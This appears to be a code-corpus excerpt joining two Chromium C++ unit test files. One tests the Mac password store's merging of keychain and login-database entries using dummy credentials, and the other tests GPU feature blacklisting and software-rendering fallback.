TEST_F(PasswordStoreMacInternalsTest, TestFormMatch) { PasswordForm base_form; base_form.signon_realm = std::string("http://some.domain.com/"); base_form.origin = GURL("http://some.domain.com/page.html"); base_form.username_value = ASCIIToUTF16("joe_user"); { // Check that everything unimportant can be changed. PasswordForm different_form(base_form); different_form.username_element = ASCIIToUTF16("username"); different_form.submit_element = ASCIIToUTF16("submit"); different_form.username_element = ASCIIToUTF16("password"); different_form.password_value = ASCIIToUTF16("sekrit"); different_form.action = GURL("http://some.domain.com/action.cgi"); different_form.ssl_valid = true; different_form.preferred = true; different_form.date_created = base::Time::Now(); EXPECT_TRUE( FormsMatchForMerge(base_form, different_form, STRICT_FORM_MATCH)); // Check that path differences don't prevent a match. base_form.origin = GURL("http://some.domain.com/other_page.html"); EXPECT_TRUE( FormsMatchForMerge(base_form, different_form, STRICT_FORM_MATCH)); } // Check that any one primary key changing is enough to prevent matching. { PasswordForm different_form(base_form); different_form.scheme = PasswordForm::SCHEME_DIGEST; EXPECT_FALSE( FormsMatchForMerge(base_form, different_form, STRICT_FORM_MATCH)); } { PasswordForm different_form(base_form); different_form.signon_realm = std::string("http://some.domain.com:8080/"); EXPECT_FALSE( FormsMatchForMerge(base_form, different_form, STRICT_FORM_MATCH)); } { PasswordForm different_form(base_form); different_form.username_value = ASCIIToUTF16("john.doe"); EXPECT_FALSE( FormsMatchForMerge(base_form, different_form, STRICT_FORM_MATCH)); } { PasswordForm different_form(base_form); different_form.blacklisted_by_user = true; EXPECT_FALSE( FormsMatchForMerge(base_form, different_form, STRICT_FORM_MATCH)); } // Blacklist forms should *never* match for merging, even when identical // (and certainly not when only one is a blacklist entry). { PasswordForm form_a(base_form); form_a.blacklisted_by_user = true; PasswordForm form_b(form_a); EXPECT_FALSE(FormsMatchForMerge(form_a, form_b, STRICT_FORM_MATCH)); } } TEST_F(PasswordStoreMacInternalsTest, TestFormMerge) { // Set up a bunch of test data to use in varying combinations. PasswordFormData keychain_user_1 = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/", "", L"", L"", L"", L"joe_user", L"sekrit", false, false, 1010101010 }; PasswordFormData keychain_user_1_with_path = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/page.html", "", L"", L"", L"", L"joe_user", L"otherpassword", false, false, 1010101010 }; PasswordFormData keychain_user_2 = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/", "", L"", L"", L"", L"john.doe", L"sesame", false, false, 958739876 }; PasswordFormData keychain_blacklist = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/", "", L"", L"", L"", NULL, NULL, false, false, 1010101010 }; PasswordFormData db_user_1 = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/", "http://some.domain.com/action.cgi", L"submit", L"username", L"password", L"joe_user", L"", true, false, 1212121212 }; PasswordFormData db_user_1_with_path = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/page.html", "http://some.domain.com/handlepage.cgi", L"submit", L"username", L"password", L"joe_user", L"", true, false, 1234567890 }; PasswordFormData db_user_3_with_path = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/page.html", "http://some.domain.com/handlepage.cgi", L"submit", L"username", L"password", L"second-account", L"", true, false, 1240000000 }; PasswordFormData database_blacklist_with_path = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/path.html", "http://some.domain.com/action.cgi", L"submit", L"username", L"password", NULL, NULL, true, false, 1212121212 }; PasswordFormData merged_user_1 = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/", "http://some.domain.com/action.cgi", L"submit", L"username", L"password", L"joe_user", L"sekrit", true, false, 1212121212 }; PasswordFormData merged_user_1_with_db_path = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/page.html", "http://some.domain.com/handlepage.cgi", L"submit", L"username", L"password", L"joe_user", L"sekrit", true, false, 1234567890 }; PasswordFormData merged_user_1_with_both_paths = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/page.html", "http://some.domain.com/handlepage.cgi", L"submit", L"username", L"password", L"joe_user", L"otherpassword", true, false, 1234567890 }; // Build up the big multi-dimensional array of data sets that will actually // drive the test. Use vectors rather than arrays so that initialization is // simple. enum { KEYCHAIN_INPUT = 0, DATABASE_INPUT, MERGE_OUTPUT, KEYCHAIN_OUTPUT, DATABASE_OUTPUT, MERGE_IO_ARRAY_COUNT // termination marker }; const unsigned int kTestCount = 4; std::vector< std::vector< std::vector<PasswordFormData*> > > test_data( MERGE_IO_ARRAY_COUNT, std::vector< std::vector<PasswordFormData*> >( kTestCount, std::vector<PasswordFormData*>())); unsigned int current_test = 0; // Test a merge with a few accounts in both systems, with partial overlap. CHECK(current_test < kTestCount); test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_user_1); test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_user_2); test_data[DATABASE_INPUT][current_test].push_back(&db_user_1); test_data[DATABASE_INPUT][current_test].push_back(&db_user_1_with_path); test_data[DATABASE_INPUT][current_test].push_back(&db_user_3_with_path); test_data[MERGE_OUTPUT][current_test].push_back(&merged_user_1); test_data[MERGE_OUTPUT][current_test].push_back(&merged_user_1_with_db_path); test_data[KEYCHAIN_OUTPUT][current_test].push_back(&keychain_user_2); test_data[DATABASE_OUTPUT][current_test].push_back(&db_user_3_with_path); // Test a merge where Chrome has a blacklist entry, and the keychain has // a stored account. ++current_test; CHECK(current_test < kTestCount); test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_user_1); test_data[DATABASE_INPUT][current_test].push_back( &database_blacklist_with_path); // We expect both to be present because a blacklist could be specific to a // subpath, and we want access to the password on other paths. test_data[MERGE_OUTPUT][current_test].push_back( &database_blacklist_with_path); test_data[KEYCHAIN_OUTPUT][current_test].push_back(&keychain_user_1); // Test a merge where Chrome has an account, and Keychain has a blacklist // (from another browser) and the Chrome password data. ++current_test; CHECK(current_test < kTestCount); test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_blacklist); test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_user_1); test_data[DATABASE_INPUT][current_test].push_back(&db_user_1); test_data[MERGE_OUTPUT][current_test].push_back(&merged_user_1); test_data[KEYCHAIN_OUTPUT][current_test].push_back(&keychain_blacklist); // Test that matches are done using exact path when possible. ++current_test; CHECK(current_test < kTestCount); test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_user_1); test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_user_1_with_path); test_data[DATABASE_INPUT][current_test].push_back(&db_user_1); test_data[DATABASE_INPUT][current_test].push_back(&db_user_1_with_path); test_data[MERGE_OUTPUT][current_test].push_back(&merged_user_1); test_data[MERGE_OUTPUT][current_test].push_back( &merged_user_1_with_both_paths); for (unsigned int test_case = 0; test_case <= current_test; ++test_case) { std::vector<PasswordForm*> keychain_forms; for (std::vector<PasswordFormData*>::iterator i = test_data[KEYCHAIN_INPUT][test_case].begin(); i != test_data[KEYCHAIN_INPUT][test_case].end(); ++i) { keychain_forms.push_back(CreatePasswordFormFromData(*(*i))); } std::vector<PasswordForm*> database_forms; for (std::vector<PasswordFormData*>::iterator i = test_data[DATABASE_INPUT][test_case].begin(); i != test_data[DATABASE_INPUT][test_case].end(); ++i) { database_forms.push_back(CreatePasswordFormFromData(*(*i))); } std::vector<PasswordForm*> merged_forms; internal_keychain_helpers::MergePasswordForms(&keychain_forms, &database_forms, &merged_forms); CHECK_FORMS(keychain_forms, test_data[KEYCHAIN_OUTPUT][test_case], test_case); CHECK_FORMS(database_forms, test_data[DATABASE_OUTPUT][test_case], test_case); CHECK_FORMS(merged_forms, test_data[MERGE_OUTPUT][test_case], test_case); STLDeleteElements(&keychain_forms); STLDeleteElements(&database_forms); STLDeleteElements(&merged_forms); } } TEST_F(PasswordStoreMacInternalsTest, TestPasswordBulkLookup) { PasswordFormData db_data[] = { { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/", "http://some.domain.com/action.cgi", L"submit", L"username", L"password", L"joe_user", L"", true, false, 1212121212 }, { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/page.html", "http://some.domain.com/handlepage.cgi", L"submit", L"username", L"password", L"joe_user", L"", true, false, 1234567890 }, { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/page.html", "http://some.domain.com/handlepage.cgi", L"submit", L"username", L"password", L"second-account", L"", true, false, 1240000000 }, { PasswordForm::SCHEME_HTML, "http://dont.remember.com/", "http://dont.remember.com/", "http://dont.remember.com/handlepage.cgi", L"submit", L"username", L"password", L"joe_user", L"", true, false, 1240000000 }, { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/path.html", "http://some.domain.com/action.cgi", L"submit", L"username", L"password", NULL, NULL, true, false, 1212121212 }, }; std::vector<PasswordForm*> database_forms; for (unsigned int i = 0; i < ARRAYSIZE_UNSAFE(db_data); ++i) { database_forms.push_back(CreatePasswordFormFromData(db_data[i])); } std::vector<PasswordForm*> merged_forms = internal_keychain_helpers::GetPasswordsForForms(*keychain_, &database_forms); EXPECT_EQ(2U, database_forms.size()); ASSERT_EQ(3U, merged_forms.size()); EXPECT_EQ(ASCIIToUTF16("sekrit"), merged_forms[0]->password_value); EXPECT_EQ(ASCIIToUTF16("sekrit"), merged_forms[1]->password_value); EXPECT_TRUE(merged_forms[2]->blacklisted_by_user); STLDeleteElements(&database_forms); STLDeleteElements(&merged_forms); } TEST_F(PasswordStoreMacInternalsTest, TestBlacklistedFiltering) { PasswordFormData db_data[] = { { PasswordForm::SCHEME_HTML, "http://dont.remember.com/", "http://dont.remember.com/", "http://dont.remember.com/handlepage.cgi", L"submit", L"username", L"password", L"joe_user", L"non_empty_password", true, false, 1240000000 }, { PasswordForm::SCHEME_HTML, "https://dont.remember.com/", "https://dont.remember.com/", "https://dont.remember.com/handlepage_secure.cgi", L"submit", L"username", L"password", L"joe_user", L"non_empty_password", true, false, 1240000000 }, }; std::vector<PasswordForm*> database_forms; for (unsigned int i = 0; i < ARRAYSIZE_UNSAFE(db_data); ++i) { database_forms.push_back(CreatePasswordFormFromData(db_data[i])); } std::vector<PasswordForm*> merged_forms = internal_keychain_helpers::GetPasswordsForForms(*keychain_, &database_forms); EXPECT_EQ(2U, database_forms.size()); ASSERT_EQ(0U, merged_forms.size()); STLDeleteElements(&database_forms); STLDeleteElements(&merged_forms); } TEST_F(PasswordStoreMacInternalsTest, TestFillPasswordFormFromKeychainItem) { // When |extract_password_data| is false, the password field must be empty, // and |blacklisted_by_user| must be false. SecKeychainItemRef keychain_item = reinterpret_cast<SecKeychainItemRef>(1); PasswordForm form_without_extracted_password; bool parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem( *keychain_, keychain_item, &form_without_extracted_password, false); // Do not extract password. EXPECT_TRUE(parsed); ASSERT_TRUE(form_without_extracted_password.password_value.empty()); ASSERT_FALSE(form_without_extracted_password.blacklisted_by_user); // When |extract_password_data| is true and the keychain entry has a non-empty // password, the password field must be non-empty, and the value of // |blacklisted_by_user| must be false. keychain_item = reinterpret_cast<SecKeychainItemRef>(1); PasswordForm form_with_extracted_password; parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem( *keychain_, keychain_item, &form_with_extracted_password, true); // Extract password. EXPECT_TRUE(parsed); ASSERT_EQ(ASCIIToUTF16("sekrit"), form_with_extracted_password.password_value); ASSERT_FALSE(form_with_extracted_password.blacklisted_by_user); // When |extract_password_data| is true and the keychain entry has an empty // username and password (""), the password field must be empty, and the value // of |blacklisted_by_user| must be true. keychain_item = reinterpret_cast<SecKeychainItemRef>(4); PasswordForm negative_form; parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem( *keychain_, keychain_item, &negative_form, true); // Extract password. EXPECT_TRUE(parsed); ASSERT_TRUE(negative_form.username_value.empty()); ASSERT_TRUE(negative_form.password_value.empty()); ASSERT_TRUE(negative_form.blacklisted_by_user); // When |extract_password_data| is true and the keychain entry has an empty // password (""), the password field must be empty (""), and the value of // |blacklisted_by_user| must be true. keychain_item = reinterpret_cast<SecKeychainItemRef>(5); PasswordForm form_with_empty_password_a; parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem( *keychain_, keychain_item, &form_with_empty_password_a, true); // Extract password. EXPECT_TRUE(parsed); ASSERT_TRUE(form_with_empty_password_a.password_value.empty()); ASSERT_TRUE(form_with_empty_password_a.blacklisted_by_user); // When |extract_password_data| is true and the keychain entry has a single // space password (" "), the password field must be a single space (" "), and // the value of |blacklisted_by_user| must be true. keychain_item = reinterpret_cast<SecKeychainItemRef>(6); PasswordForm form_with_empty_password_b; parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem( *keychain_, keychain_item, &form_with_empty_password_b, true); // Extract password. EXPECT_TRUE(parsed); ASSERT_EQ(ASCIIToUTF16(" "), form_with_empty_password_b.password_value); ASSERT_TRUE(form_with_empty_password_b.blacklisted_by_user); } TEST_F(PasswordStoreMacInternalsTest, TestPasswordGetAll) { MacKeychainPasswordFormAdapter keychain_adapter(keychain_); MacKeychainPasswordFormAdapter owned_keychain_adapter(keychain_); owned_keychain_adapter.SetFindsOnlyOwnedItems(true); // Add a few passwords of various types so that we own some. PasswordFormData owned_password_data[] = { { PasswordForm::SCHEME_HTML, "http://web.site.com/", "http://web.site.com/path/to/page.html", NULL, NULL, NULL, NULL, L"anonymous", L"knock-knock", false, false, 0 }, { PasswordForm::SCHEME_BASIC, "http://a.site.com:2222/therealm", "http://a.site.com:2222/", NULL, NULL, NULL, NULL, L"username", L"password", false, false, 0 }, { PasswordForm::SCHEME_DIGEST, "https://digest.site.com/differentrealm", "https://digest.site.com/secure.html", NULL, NULL, NULL, NULL, L"testname", L"testpass", false, false, 0 }, }; for (unsigned int i = 0; i < arraysize(owned_password_data); ++i) { scoped_ptr<PasswordForm> form(CreatePasswordFormFromData( owned_password_data[i])); owned_keychain_adapter.AddPassword(*form); } std::vector<PasswordForm*> all_passwords = keychain_adapter.GetAllPasswordFormPasswords(); EXPECT_EQ(8 + arraysize(owned_password_data), all_passwords.size()); STLDeleteElements(&all_passwords); std::vector<PasswordForm*> owned_passwords = owned_keychain_adapter.GetAllPasswordFormPasswords(); EXPECT_EQ(arraysize(owned_password_data), owned_passwords.size()); STLDeleteElements(&owned_passwords); } #pragma mark - class PasswordStoreMacTest : public testing::Test { public: PasswordStoreMacTest() : ui_thread_(BrowserThread::UI, &message_loop_) {} virtual void SetUp() { login_db_ = new LoginDatabase(); ASSERT_TRUE(db_dir_.CreateUniqueTempDir()); base::FilePath db_file = db_dir_.path().AppendASCII("login.db"); ASSERT_TRUE(login_db_->Init(db_file)); keychain_ = new MockAppleKeychain(); store_ = new TestPasswordStoreMac( base::MessageLoopProxy::current(), base::MessageLoopProxy::current(), keychain_, login_db_); ASSERT_TRUE(store_->Init(syncer::SyncableService::StartSyncFlare())); } virtual void TearDown() { store_->Shutdown(); EXPECT_FALSE(store_->GetBackgroundTaskRunner()); } void WaitForStoreUpdate() { // Do a store-level query to wait for all the operations above to be done. MockPasswordStoreConsumer consumer; EXPECT_CALL(consumer, OnGetPasswordStoreResults(_)) .WillOnce(DoAll(WithArg<0>(STLDeleteElements0()), QuitUIMessageLoop())); store_->GetLogins(PasswordForm(), PasswordStore::ALLOW_PROMPT, &consumer); base::MessageLoop::current()->Run(); } protected: base::MessageLoopForUI message_loop_; content::TestBrowserThread ui_thread_; MockAppleKeychain* keychain_; // Owned by store_. LoginDatabase* login_db_; // Owned by store_. scoped_refptr<TestPasswordStoreMac> store_; base::ScopedTempDir db_dir_; }; TEST_F(PasswordStoreMacTest, TestStoreUpdate) { // Insert a password into both the database and the keychain. // This is done manually, rather than through store_->AddLogin, because the // Mock Keychain isn't smart enough to be able to support update generically, // so some.domain.com triggers special handling to test it that make inserting // fail. PasswordFormData joint_data = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/insecure.html", "login.cgi", L"username", L"password", L"submit", L"joe_user", L"sekrit", true, false, 1 }; scoped_ptr<PasswordForm> joint_form(CreatePasswordFormFromData(joint_data)); login_db_->AddLogin(*joint_form); MockAppleKeychain::KeychainTestData joint_keychain_data = { kSecAuthenticationTypeHTMLForm, "some.domain.com", kSecProtocolTypeHTTP, "/insecure.html", 0, NULL, "20020601171500Z", "joe_user", "sekrit", false }; keychain_->AddTestItem(joint_keychain_data); // Insert a password into the keychain only. MockAppleKeychain::KeychainTestData keychain_only_data = { kSecAuthenticationTypeHTMLForm, "keychain.only.com", kSecProtocolTypeHTTP, NULL, 0, NULL, "20020601171500Z", "keychain", "only", false }; keychain_->AddTestItem(keychain_only_data); struct UpdateData { PasswordFormData form_data; const char* password; // NULL indicates no entry should be present. }; // Make a series of update calls. UpdateData updates[] = { // Update the keychain+db passwords (the normal password update case). { { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/insecure.html", "login.cgi", L"username", L"password", L"submit", L"joe_user", L"53krit", true, false, 2 }, "53krit", }, // Update the keychain-only password; this simulates the initial use of a // password stored by another browsers. { { PasswordForm::SCHEME_HTML, "http://keychain.only.com/", "http://keychain.only.com/login.html", "login.cgi", L"username", L"password", L"submit", L"keychain", L"only", true, false, 2 }, "only", }, // Update a password that doesn't exist in either location. This tests the // case where a form is filled, then the stored login is removed, then the // form is submitted. { { PasswordForm::SCHEME_HTML, "http://different.com/", "http://different.com/index.html", "login.cgi", L"username", L"password", L"submit", L"abc", L"123", true, false, 2 }, NULL, }, }; for (unsigned int i = 0; i < ARRAYSIZE_UNSAFE(updates); ++i) { scoped_ptr<PasswordForm> form(CreatePasswordFormFromData( updates[i].form_data)); store_->UpdateLogin(*form); } WaitForStoreUpdate(); MacKeychainPasswordFormAdapter keychain_adapter(keychain_); for (unsigned int i = 0; i < ARRAYSIZE_UNSAFE(updates); ++i) { scoped_ptr<PasswordForm> query_form( CreatePasswordFormFromData(updates[i].form_data)); std::vector<PasswordForm*> matching_items = keychain_adapter.PasswordsFillingForm(query_form->signon_realm, query_form->scheme); if (updates[i].password) { EXPECT_GT(matching_items.size(), 0U) << "iteration " << i; if (matching_items.size() >= 1) EXPECT_EQ(ASCIIToUTF16(updates[i].password), matching_items[0]->password_value) << "iteration " << i; } else { EXPECT_EQ(0U, matching_items.size()) << "iteration " << i; } STLDeleteElements(&matching_items); login_db_->GetLogins(*query_form, &matching_items); EXPECT_EQ(updates[i].password ? 1U : 0U, matching_items.size()) << "iteration " << i; STLDeleteElements(&matching_items); } } TEST_F(PasswordStoreMacTest, TestDBKeychainAssociation) { // Tests that association between the keychain and login database parts of a // password added by fuzzy (PSL) matching works. // 1. Add a password for www.facebook.com // 2. Get a password for m.facebook.com. This fuzzy matches and returns the // www.facebook.com password. // 3. Add the returned password for m.facebook.com. // 4. Remove both passwords. // -> check: that both are gone from the login DB and the keychain // This test should in particular ensure that we don't keep passwords in the // keychain just before we think we still have other (fuzzy-)matching entries // for them in the login database. (For example, here if we deleted the // www.facebook.com password from the login database, we should not be blocked // from deleting it from the keystore just becaus the m.facebook.com password // fuzzy-matches the www.facebook.com one.) // 1. Add a password for www.facebook.com PasswordFormData www_form_data = { PasswordForm::SCHEME_HTML, "http://www.facebook.com/", "http://www.facebook.com/index.html", "login", L"username", L"password", L"submit", L"joe_user", L"sekrit", true, false, 1 }; scoped_ptr<PasswordForm> www_form(CreatePasswordFormFromData(www_form_data)); login_db_->AddLogin(*www_form); MacKeychainPasswordFormAdapter owned_keychain_adapter(keychain_); owned_keychain_adapter.SetFindsOnlyOwnedItems(true); owned_keychain_adapter.AddPassword(*www_form); // 2. Get a password for m.facebook.com. PasswordForm m_form(*www_form); m_form.signon_realm = "http://m.facebook.com"; m_form.origin = GURL("http://m.facebook.com/index.html"); MockPasswordStoreConsumer consumer; EXPECT_CALL(consumer, OnGetPasswordStoreResults(_)).WillOnce(DoAll( WithArg<0>(Invoke(&consumer, &MockPasswordStoreConsumer::CopyElements)), WithArg<0>(STLDeleteElements0()), QuitUIMessageLoop())); store_->GetLogins(m_form, PasswordStore::ALLOW_PROMPT, &consumer); base::MessageLoop::current()->Run(); EXPECT_EQ(1u, consumer.last_result.size()); // 3. Add the returned password for m.facebook.com. login_db_->AddLogin(consumer.last_result[0]); owned_keychain_adapter.AddPassword(m_form); // 4. Remove both passwords. store_->RemoveLogin(*www_form); store_->RemoveLogin(m_form); WaitForStoreUpdate(); std::vector<PasswordForm*> matching_items; // No trace of www.facebook.com. matching_items = owned_keychain_adapter.PasswordsFillingForm( www_form->signon_realm, www_form->scheme); EXPECT_EQ(0u, matching_items.size()); login_db_->GetLogins(*www_form, &matching_items); EXPECT_EQ(0u, matching_items.size()); // No trace of m.facebook.com. matching_items = owned_keychain_adapter.PasswordsFillingForm( m_form.signon_realm, m_form.scheme); EXPECT_EQ(0u, matching_items.size()); login_db_->GetLogins(m_form, &matching_items); EXPECT_EQ(0u, matching_items.size()); }
bsd-3-clause
codenote/chromium-test
content/browser/gpu/gpu_data_manager_impl_unittest.cc
20249
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "base/command_line.h" #include "base/message_loop.h" #include "base/run_loop.h" #include "base/time.h" #include "content/browser/gpu/gpu_data_manager_impl.h" #include "content/public/browser/gpu_data_manager_observer.h" #include "content/public/common/gpu_feature_type.h" #include "content/public/common/gpu_info.h" #include "googleurl/src/gurl.h" #include "gpu/command_buffer/service/gpu_switches.h" #include "testing/gtest/include/gtest/gtest.h" #define LONG_STRING_CONST(...) #__VA_ARGS__ namespace content { namespace { class TestObserver : public GpuDataManagerObserver { public: TestObserver() : gpu_info_updated_(false), video_memory_usage_stats_updated_(false) { } virtual ~TestObserver() { } bool gpu_info_updated() const { return gpu_info_updated_; } bool video_memory_usage_stats_updated() const { return video_memory_usage_stats_updated_; } virtual void OnGpuInfoUpdate() OVERRIDE { gpu_info_updated_ = true; } virtual void OnVideoMemoryUsageStatsUpdate( const GPUVideoMemoryUsageStats& stats) OVERRIDE { video_memory_usage_stats_updated_ = true; } private: bool gpu_info_updated_; bool video_memory_usage_stats_updated_; }; static base::Time GetTimeForTesting() { return base::Time::FromDoubleT(1000); } static GURL GetDomain1ForTesting() { return GURL("http://foo.com/"); } static GURL GetDomain2ForTesting() { return GURL("http://bar.com/"); } } // namespace anonymous class GpuDataManagerImplTest : public testing::Test { public: GpuDataManagerImplTest() { } virtual ~GpuDataManagerImplTest() { } protected: // scoped_ptr doesn't work with GpuDataManagerImpl because its // destructor is private. GpuDataManagerImplTest is however a friend // so we can make a little helper class here. class ScopedGpuDataManagerImpl { public: ScopedGpuDataManagerImpl() : impl_(new GpuDataManagerImpl()) {} ~ScopedGpuDataManagerImpl() { delete impl_; } GpuDataManagerImpl* get() const { return impl_; } GpuDataManagerImpl* operator->() const { return impl_; } // Small violation of C++ style guide to avoid polluting several // tests with get() calls. operator GpuDataManagerImpl*() { return impl_; } private: GpuDataManagerImpl* impl_; DISALLOW_COPY_AND_ASSIGN(ScopedGpuDataManagerImpl); }; virtual void SetUp() { } virtual void TearDown() { } base::Time JustBeforeExpiration(GpuDataManagerImpl* manager); base::Time JustAfterExpiration(GpuDataManagerImpl* manager); void TestBlockingDomainFrom3DAPIs( GpuDataManagerImpl::DomainGuilt guilt_level); void TestUnblockingDomainFrom3DAPIs( GpuDataManagerImpl::DomainGuilt guilt_level); MessageLoop message_loop_; }; // We use new method instead of GetInstance() method because we want // each test to be independent of each other. TEST_F(GpuDataManagerImplTest, GpuSideBlacklisting) { // If a feature is allowed in preliminary step (browser side), but // disabled when GPU process launches and collects full GPU info, // it's too late to let renderer know, so we basically block all GPU // access, to be on the safe side. ScopedGpuDataManagerImpl manager; ASSERT_TRUE(manager.get()); EXPECT_EQ(0u, manager->GetBlacklistedFeatureCount()); EXPECT_TRUE(manager->GpuAccessAllowed()); const std::string blacklist_json = LONG_STRING_CONST( { "name": "gpu blacklist", "version": "0.1", "entries": [ { "id": 1, "features": [ "webgl" ] }, { "id": 2, "gl_renderer": { "op": "contains", "value": "GeForce" }, "features": [ "accelerated_2d_canvas" ] } ] } ); GPUInfo gpu_info; gpu_info.gpu.vendor_id = 0x10de; gpu_info.gpu.device_id = 0x0640; manager->InitializeForTesting(blacklist_json, gpu_info); EXPECT_TRUE(manager->GpuAccessAllowed()); EXPECT_EQ(1u, manager->GetBlacklistedFeatureCount()); EXPECT_TRUE(manager->IsFeatureBlacklisted(GPU_FEATURE_TYPE_WEBGL)); gpu_info.gl_vendor = "NVIDIA"; gpu_info.gl_renderer = "NVIDIA GeForce GT 120"; manager->UpdateGpuInfo(gpu_info); EXPECT_FALSE(manager->GpuAccessAllowed()); EXPECT_EQ(2u, manager->GetBlacklistedFeatureCount()); EXPECT_TRUE(manager->IsFeatureBlacklisted(GPU_FEATURE_TYPE_WEBGL)); EXPECT_TRUE(manager->IsFeatureBlacklisted( GPU_FEATURE_TYPE_ACCELERATED_2D_CANVAS)); } TEST_F(GpuDataManagerImplTest, GpuSideExceptions) { ScopedGpuDataManagerImpl manager; ASSERT_TRUE(manager.get()); EXPECT_EQ(0u, manager->GetBlacklistedFeatureCount()); EXPECT_TRUE(manager->GpuAccessAllowed()); const std::string blacklist_json = LONG_STRING_CONST( { "name": "gpu blacklist", "version": "0.1", "entries": [ { "id": 1, "exceptions": [ { "gl_renderer": { "op": "contains", "value": "GeForce" } } ], "features": [ "webgl" ] } ] } ); GPUInfo gpu_info; gpu_info.gpu.vendor_id = 0x10de; gpu_info.gpu.device_id = 0x0640; manager->InitializeForTesting(blacklist_json, gpu_info); EXPECT_TRUE(manager->GpuAccessAllowed()); EXPECT_EQ(0u, manager->GetBlacklistedFeatureCount()); // Now assume gpu process launches and full GPU info is collected. gpu_info.gl_renderer = "NVIDIA GeForce GT 120"; manager->UpdateGpuInfo(gpu_info); EXPECT_TRUE(manager->GpuAccessAllowed()); EXPECT_EQ(0u, manager->GetBlacklistedFeatureCount()); } TEST_F(GpuDataManagerImplTest, DisableHardwareAcceleration) { ScopedGpuDataManagerImpl manager; ASSERT_TRUE(manager.get()); EXPECT_EQ(0u, manager->GetBlacklistedFeatureCount()); EXPECT_TRUE(manager->GpuAccessAllowed()); manager->DisableHardwareAcceleration(); EXPECT_FALSE(manager->GpuAccessAllowed()); EXPECT_EQ(static_cast<size_t>(NUMBER_OF_GPU_FEATURE_TYPES), manager->GetBlacklistedFeatureCount()); } TEST_F(GpuDataManagerImplTest, SoftwareRendering) { // Blacklist, then register SwiftShader. ScopedGpuDataManagerImpl manager; ASSERT_TRUE(manager.get()); EXPECT_EQ(0u, manager->GetBlacklistedFeatureCount()); EXPECT_TRUE(manager->GpuAccessAllowed()); EXPECT_FALSE(manager->ShouldUseSoftwareRendering()); manager->DisableHardwareAcceleration(); EXPECT_FALSE(manager->GpuAccessAllowed()); EXPECT_FALSE(manager->ShouldUseSoftwareRendering()); // If software rendering is enabled, even if we blacklist GPU, // GPU process is still allowed. const base::FilePath test_path(FILE_PATH_LITERAL("AnyPath")); manager->RegisterSwiftShaderPath(test_path); EXPECT_TRUE(manager->ShouldUseSoftwareRendering()); EXPECT_TRUE(manager->GpuAccessAllowed()); EXPECT_EQ(1u, manager->GetBlacklistedFeatureCount()); EXPECT_TRUE( manager->IsFeatureBlacklisted(GPU_FEATURE_TYPE_ACCELERATED_2D_CANVAS)); } TEST_F(GpuDataManagerImplTest, SoftwareRendering2) { // Register SwiftShader, then blacklist. ScopedGpuDataManagerImpl manager; ASSERT_TRUE(manager.get()); EXPECT_EQ(0u, manager->GetBlacklistedFeatureCount()); EXPECT_TRUE(manager->GpuAccessAllowed()); EXPECT_FALSE(manager->ShouldUseSoftwareRendering()); const base::FilePath test_path(FILE_PATH_LITERAL("AnyPath")); manager->RegisterSwiftShaderPath(test_path); EXPECT_EQ(0u, manager->GetBlacklistedFeatureCount()); EXPECT_TRUE(manager->GpuAccessAllowed()); EXPECT_FALSE(manager->ShouldUseSoftwareRendering()); manager->DisableHardwareAcceleration(); EXPECT_TRUE(manager->GpuAccessAllowed()); EXPECT_TRUE(manager->ShouldUseSoftwareRendering()); EXPECT_EQ(1u, manager->GetBlacklistedFeatureCount()); EXPECT_TRUE( manager->IsFeatureBlacklisted(GPU_FEATURE_TYPE_ACCELERATED_2D_CANVAS)); } TEST_F(GpuDataManagerImplTest, GpuInfoUpdate) { ScopedGpuDataManagerImpl manager; ASSERT_TRUE(manager.get()); TestObserver observer; manager->AddObserver(&observer); { base::RunLoop run_loop; run_loop.RunUntilIdle(); } EXPECT_FALSE(observer.gpu_info_updated()); GPUInfo gpu_info; manager->UpdateGpuInfo(gpu_info); { base::RunLoop run_loop; run_loop.RunUntilIdle(); } EXPECT_TRUE(observer.gpu_info_updated()); } TEST_F(GpuDataManagerImplTest, NoGpuInfoUpdateWithSoftwareRendering) { ScopedGpuDataManagerImpl manager; ASSERT_TRUE(manager.get()); manager->DisableHardwareAcceleration(); const base::FilePath test_path(FILE_PATH_LITERAL("AnyPath")); manager->RegisterSwiftShaderPath(test_path); EXPECT_TRUE(manager->ShouldUseSoftwareRendering()); EXPECT_TRUE(manager->GpuAccessAllowed()); { base::RunLoop run_loop; run_loop.RunUntilIdle(); } TestObserver observer; manager->AddObserver(&observer); { base::RunLoop run_loop; run_loop.RunUntilIdle(); } EXPECT_FALSE(observer.gpu_info_updated()); GPUInfo gpu_info; manager->UpdateGpuInfo(gpu_info); { base::RunLoop run_loop; run_loop.RunUntilIdle(); } EXPECT_FALSE(observer.gpu_info_updated()); } 